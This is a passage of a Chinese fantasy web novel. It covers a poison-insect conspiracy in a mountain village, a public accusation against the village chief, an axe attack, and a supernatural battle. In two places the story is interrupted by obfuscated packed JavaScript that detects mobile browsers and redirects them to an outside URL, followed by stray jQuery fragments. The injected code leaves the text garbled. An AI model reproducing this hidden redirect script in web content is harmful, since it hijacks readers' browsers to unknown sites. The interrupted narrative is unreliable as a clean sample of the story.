“宗赋那么心善,连毫无关系的傻子都能心疼,”代玲轻声道,“怎么就不能放过她的哥哥们呢?” 她说完便带着自己的族人往广场走去。 徐澄飞连忙跟上,询问道: “姐姐,那个傻子的母亲...不,陈芪,现在是在哪里?” “从前是住在寨顶东侧的小楼里,现在也许搬走了吧!” · 天色渐渐昏暗,空中竟飘起了细小的雪花。 徐澄飞悄悄来到那个杂草丛生的竹楼边,爬上一颗树,躲在树杈间静静地看着院子里的空地。 她猜测那个照顾代虎的老奶奶就是陈芪。 等了一会儿后,她看见代虎蹦蹦跳跳地走了出来,手里捧着一只红色的甲虫在院里转圈。 “下雪啦!下雪啦!虫虫你快看呀!”她欢快地举起手上的甲虫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417932|184717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈芪裹着毛毯迈步走了出来,银白的发丝垂落在她温柔的笑容上: “小蝶,别太贪玩啦!外面冷,而且你才刚清完毒,玩一会就进来呀!” 她见“陈蝶”沉浸在自己的世界中,满脸无奈地走到他身旁,为他拢了拢衣领: “小蝶啊,娘给你做了你爱吃的蝴蝶酥,吃完你就可以去办最后一件事了。” 听到吃的,代虎忽然歪了歪脑袋,痴痴地笑道: “好啊,我想吃鸭腿。” 陈芪的表情突然冷了下来,目光沉沉地盯着代虎: “是啊,办完这件事你就可以上路了。” 陈芪将她手中的红色甲虫带走,代虎也愣愣地跟着她进屋了。 徐澄飞思索了一番,便又走回了广场。 广场上的动乱已经平息了,听说是寨主用钱打发走了那些闹事的客人,也要不少其他客人不满意这个处理结果而离开的。 代宗赋正一脸焦急地和代玲一行人交谈着什么。 裴景暄揣着汤婆子坐在一棵树下的石凳上,望着漫天飞舞的小雪,神色有几分不满。 徐澄飞走进调侃道: “哈哈,你下午那头发白擦了吧?” 裴景暄白了她一眼,反问道: “徐少侠去做什么大事了,我可在这里恭候了好久。” 徐澄飞低声道: “我应该弄明白事情的原委了。” “哦?” “代宗赋当年是借陈蝶之手,谋害亲兄坐上寨主的位置的。如今又也要借‘陈蝶’之手,将代宗杰,代宗云他们赶尽杀绝。” “陈蝶不是死了么?” “但是陈蝶留下的蛊虫还在呀!代宗赋在一年前让陈蝶的母亲陈芪给那些人下蛊,也许是受下蛊方法的限制,蛊虫波及了一些无关的人。一年后大部分人毒发身亡,为代宗赋扫清了障碍,只有一个人活了下来。” “你是说...代虎?” “对,其实陈芪并不是在下蛊杀人,连代宗赋也不知道,她的目的其实是——养蛊。” 裴景暄挑眉道: “养一种能把人变成‘陈蝶’的蛊?失败了潜伏在宿主体内的蛊虫就会让宿主毒发身亡,成功了就会变成代虎那样拥有陈蝶的行为习惯和思维方式的人?” 徐澄飞点头道: “没错,所以他才会暴怒并且紧追着代宗赋不放。因为寨子里的人都冤枉她投毒杀人,而代宗赋才是当年下毒的那个凶手!” “而且,”徐澄飞继续道,“单凭陈芪和陈蝶留下的蛊虫并不能养出这么诡异的蛊虫,那个花辫子也一定参与了这个过程。” 裴景暄并不理解: “死了这么多人,就为了造出一个假的‘陈蝶’?花辫子和另外一个神力者也是这个目的么?” 这时,广场上传来一阵惊呼,只见头戴白布的代玲领着身后几位族人跪在了代宗赋面前,悲痛的声音传遍了整个广场: “寨主!人死如灯灭,宗杰他们都已经不在这个人世了,好歹是兄妹一场,你就放过他们吧!” 14. 第 14 章 雪渐渐大了起来,鹅毛大的雪花落在代玲瘦弱的肩头,颇有几分沉冤似海的味道。 她抬头看着代宗赋,眼神里却有一种俯视着这个人,仿佛看透了一切的平静,她的声音在微微颤抖: “寨主,你的哥哥们曾经那么爱护你,照顾你,你们是血浓于水的亲人...你为什么不给他们留一条活路呢?” 周围的人沉默地听着代玲的控诉,他们都隐隐感觉到了虎啸寨这些不幸之间的联系。 代宗赋仍然维持着原来的站姿,表情没有一丝波澜: “玲姐姐,你起身说话吧,下雪了,地上凉。” 代玲神情坚定,字字泣血: “不,你必须把我的丈夫,还有西风寨的族人们的尸体恭恭敬敬地送回去!否则,我会一直跪在这里,让大家看看龙吟山十八寨的首领背后是怎样的残忍!谋害亲兄,丧尽天良!” 此话一出,众人皆是倒吸一口凉气。有人替代宗赋不平道: “你在胡说些什么?当年二当家出事的时候,寨主眼睛都要哭瞎了!” “第一次手刃亲人,内心愧疚难过不是很正常吗,”代玲冷冷道,“第二次可就熟练多了吧!你们看看她,长兄和族人的尸体就被她藏在在寨脚,她还一如往常地大摆宴席,四散银两,欺骗我们的时候连眼睛都不曾眨一下!” “够了,”代宗赋终于开口,目光森冷,“西风寨想要阻止我们阿依族成就伟业,也不必编出这么一套可笑的说辞。” 她不慌不忙,神色淡然,一句话就稳住了局面。人们纷纷将质疑的目光聚焦在代玲身上。 代玲怒道: “你们不信,就去挖开寨脚那个灵棚后的土坡看看!” “是了,”她忽然转头,指向带着面具看热闹的徐澄飞,竭力证明自己,“这位少侠发现的,她可以作证!” 徐澄飞感受到了代宗赋阴沉的视线,心中大呼倒霉,支支吾吾道: “啊...我?我只是路过...” 代宗赋却并没有给她辩解的机会,沉声细数道: “十年前,二哥发生意外,我有幸坐上了寨主的位置。那时我已二十有五,都说虎啸寨的老三做了二十多年无忧无虑的小姑娘,不嫁不生,忽然来当一寨之主,恐怕是难堪其任。” “我整修驰道,大兴耕作,用比二哥多出千倍万倍的努力治理虎啸寨,短短两年就让它坐上了龙吟山十八寨之首的位置!” “而你们呢,”代宗赋扫视了一遍仍然跪着的西风寨的人,“大哥一声不吭就带着二哥和一些族人走了。连老寨主那样生性凉薄的人都能看在我的成绩的份上支持我,你们却要与我分居而治,这时候兄妹情谊又何在?!” 她忽然靠近代玲,表情多了几分狰狞,咬牙切齿道: “怎么?像养条小狗一样逗大的妹妹居然有如此野心,让做哥哥的不爽了?” 她冷哼一声,重新站回去,声音恢复了平静: “自那之后,我开始积极与龙吟山以南的族人们联系。他们经过我多年的教化,思想上已经脱离了深山的遮蔽,知道了族人团结的重要性。而我在整个阿依族的影响力已经比任何一任寨主都要大,我自然当得起整个阿依族的首领!” “然而两年前,多年不来往的大哥忽然来访。我本来欣喜万分,他却拖着他那条瘸腿痛斥我心术不正,族人会因我走向灭亡...这番道貌岸然的话从一个胆小懦弱,从没当过首领的瘸子里说出来,简直可笑!” “你别以为我不知道这些年你们在我背后搞的小动作。顶着老寨主遗愿的名头,千方百计地阻止我和江湖上的人来往,我从来没有揭穿过你们,这难道还不算兄妹情谊吗?当初你们自己要另立门户,如今日子过得不如意,又要到我身上了讨不痛快了?” 她说完,深吸一口气,无情地下达了命令: “把这些人请去喝口热茶吧,说了这么多胡话,想必已经是口感舌燥了。” 立刻有族人上前将西风寨的人架起来,连徐澄飞也跟着遭殃: “诶诶,我什么也没说啊!放开我!” 代玲拼命挣扎,鞋子都飞出去一只,刚巧狠狠打在了代宗赋的脸上。 “代宗赋!你人面兽心,你当年栽赃陈蝶!那些虫子,还有傻子,这都是你的报应!” 拥在代宗赋身边的人都纷纷去捉发疯的代玲,一个举着斧头的身影在代宗赋的身后显露出来。 代虎满面通红,嘴角还残有酥渣。他看见代宗赋就在面前,舔了一口唇角,痴痴一笑: “终于找到你了!” 斧头落下,鲜血瞬间染红了周围飞舞的雪花,它们被溅开后又轻飘飘地落到代虎的脸上,与上面的血珠相融,化开一道血痕,难辨难分。 “扑通!” 一位阿依族人重重跪在地上,她替代宗赋挡住了这一刀,背上是一道狰狞的伤口,深得可以看见森森白骨。 那是她结拜的义妹,是陪她闯天下的生死之交。 代宗赋的耳边顿时一阵嗡鸣,世界安静了下来。 她面无表情地看着义妹倒下,心里升起一阵毫无来由的麻木,死亡似乎已经不能使她悲伤害怕了。 难道真如代玲所说,这样的事对她来说已经是家常便饭了吗? 人们开始四散奔逃,徐澄飞挣脱了束缚。脚下响起令人头皮发麻的窸窸窣窣的声音。 她看向脚边,成千上万条鲜红的蜈蚣从四面八方而来,很快爬满了整片广场。 是花辫子来了! 裴景暄目光沉沉地看着一片虫海,眸色转红,却迟迟没有出声。 徐澄飞甩开几只爬上腿的虫子,这虫子似乎只会咬人,没有飞蝇那么可怖——大部分飞蝇已经在上次的争斗中死亡了。 她焦急道: “裴景暄!” 裴景暄还是没有说话,似乎在等待着什么。 雪越来越大,竹楼的屋顶结了一层薄霜,天已经完全黑了,厚厚的云层遮蔽了月影,整个广场只有几把将要熄灭的火堆散发着幽幽的光芒。 一片晶莹完整的雪花飘到徐澄飞眼前,她下意识地闭眼,眼皮却迟迟没能等到冰凉的感觉。 她睁开眼,发现那片雪花在眼前几乎停住了,转动的动作也变得滞涩。 放眼望去,漫天飞舞的雪花仿佛被按下了慢速键,全部诡异地停止了飘动,连方才还凌冽刺骨的寒风也没了声息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417933|184717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴景暄眸色鲜红,冷笑道: “你可算出现了。” “轰!” 狂风裹挟着冰渣如排山倒海般卷来,整个广场瞬间被白茫茫的雪花吞没! 冰渣钻进了徐澄飞的鼻子嘴巴,她难受地捂住口鼻,面具上眨眼间便结了一层霜,体温迅速下降,她的牙齿不禁打起了冷战。 呼啸的风声中,只听一道空灵的声音穿透了暴雪: “此地禁止挪用天时。” 一道强有力的能量以裴景暄为中心成球形荡开。风声渐渐平息,雪势恢复了正常。 她的眼睫,发丝都结上了冰霜。她的手轻轻挥动,周围的雪花打着圈缓缓凝聚,结成了数十根手腕粗的冰锥,悬浮在空中,蓄势待发。 茫茫风霜散去,远处树林间走来一个高挑的身影。 她的右脸横贯着一条可怕的刀疤,同样身穿黑衣。 她紧紧盯着裴景暄,漫不经心背着一只手,另一只手则呈掌状,轻轻拂过路边的草木。 那些草木一经她的触碰,立刻软塌塌地倒下,有的甚至仿佛被吸干一般,迅速枯萎。她所到之处,一片枯黄。 裴景暄皱了皱眉,冰锥在空中一凝,飞速朝刀疤脸飞去! 刀疤脸见状,变掌为拳,一股强大的能量在她周围波动,身旁的灌木疯狂地生长,迅速在她面前形成了一面枝叶围成的护盾。 几十根冰锥在这面墙壁前碎成了冰渣。 裴景暄愣了愣,那个护盾却突然枯萎垮落了,紧接着,自己身后便传来“咯咯”的抽条声。 她立刻挥手,身后聚起一块冰幕。 竹竿却势头凶猛,唰唰冲破障碍,几十根竹子如利爪般向裴景暄刺来! 一道暗红的弧光划过,徐澄飞从空中挥刀劈下,长势迅猛的竹子被伏虺一一斩断。 她握住裴景暄的肩膀: “我们去中间的空地!” 两人一边应付草木的攻击,一边疾跑到广场中央——这里铺了石砖,几乎没有生长的植物。 脚下的蜈蚣却猖狂起来,争先恐后地往二人身上爬。 裴景暄降下雪花,二人脚下升起一块冰台,靠近的虫子都被冻死在了周围。 刀疤脸沿着广场边缘向他们靠近,裴景暄射来的冰锥都被她轻而易举地挡下。她停在尚未熄灭的火堆旁,手掌轻轻拂过,火堆顿时冷却成了一堆炭渣。 她又抬手一挥。 徐澄飞感到脚下一阵温暖,冰台已经化成了水,成群的蜈蚣立马填补了这片空缺。远处响起“嘶嘶”声音,数十条青蛇扭动着身体滑过来。 这到底是什么神力? 徐澄飞挥刀应付着虫蛇,朝裴景暄催道: “你能不能先把这些烦人的东西解决掉!” 裴景暄又向刀疤脸刮去一片冰渣,无奈回道: “言灵只能建立在之前的基础上,我已经控制了天时,不能再对这些虫子进行束缚了。” 此时,广场四周的草木已经枯萎了大片。举目望去,光秃秃的树木纷纷弯下了腰。边缘的灌木开始不详地抽动起来。 裴景暄抬头望了一眼天空,轻声道: “不好,雪开始变小了。”